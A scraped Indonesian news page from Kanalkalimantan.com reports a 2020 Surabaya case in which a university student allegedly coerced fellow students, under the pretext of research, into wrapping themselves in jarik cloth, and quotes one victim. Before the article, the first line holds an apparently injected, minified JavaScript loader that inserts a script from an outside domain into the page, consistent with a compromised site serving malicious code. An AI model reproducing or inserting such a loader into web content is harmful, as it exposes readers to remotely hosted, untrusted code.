(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Kasus Fetish Kain Jarik, Korban Mengatakan Pelaku Juga Mengincar Siswa SMA


KANALKALIMANTAN.COM, SURABAYA– @m_fik*** membongkar kasus predator fetish kain jarik. Pelaku diduga, sorang pria berinisal GL, mahasiswa sebuah PTN di Surabaya. Modus dari pelaku ialah melakukan kekerasan seksual dengan kedok, tengah melakukan riset.

Peristiwa yang menimpa @m_fik*** , salah satu korban, terjadi pekan lalu, Jumat (24/7/2020). Ia merupakan mahasiswa semester 3 di Institut Teknologi Sepuluh November (ITS) Surabaya. “Terjadi Jumat kemarin, waktu dia DM [direct message] aku di Instagram,” kata korban, Kamis (30/7/2020).

Kepada Tirto.id, alasannyamengungkap kasus ini melalui akun Twitternya, @m_fik***, agar tindakan pelaku tak berulang. Dia tak mau ada korban yang lainnya. Apalagi pelaku menyasar ke korban yang masih berstatus mahasiswa baru atau bahkan siswa SMA. “Si GL kan mengincar korban-korban yang masih Maba atau mahasiswa baru atau bahkan anak SMA. Takutnya nambah lagi, jadi saya berani speak up,” tegasnya.

Pelaku, kata @m_fik*** , harus diberikan sanksi yang tegas. Sebab memiliki unsur pelanggaran etik sebagai mahasiswa dan pidana. “Yaa paling enggak di DO dari kampus. Terus kalau bisa dipenjara ya,” ungkapnya.

 

@m_fik*** menuturkan kasus itu melalui thread–twit atau cerita berseri– di akun Twitternya, Rabu (29/7/2020). Dia melampirkan beberapa bukti foto, rekaman video, hingga tangkapan layar percakapan dengan korban melalui aplikasi ponsel pintar.

Awalnya pelaku memperkenalkan diri, sebagai mahasiswa angkatan 2015 di Unair. Pelaku memaksa korban membungkus seluruh badan dengan kain jarik atau selendang dengan dalih untuk riset.

Korban merasa kasihan dan menuruti karena pelaku, menyampaikan berbagai tekanan manipulatif seperti, mahasiswa semester 10 yang perlu dibantu. Pelaku justru memanfaatkan empati dari korban: untuk melakukan tindakan kekerasan seksual.

Kanalkalimantan.com telah mencoba menghubungi GL atau terduga pelaku melalui ponselnya. Namun sayangnya belum ada jawaban.(Kanalkalimantan.com/tim/tirto)

Reporter : Tim/tirto
Editor : Cell


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

10 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

11 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

12 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

12 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

13 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

15 jam ago

This website uses cookies.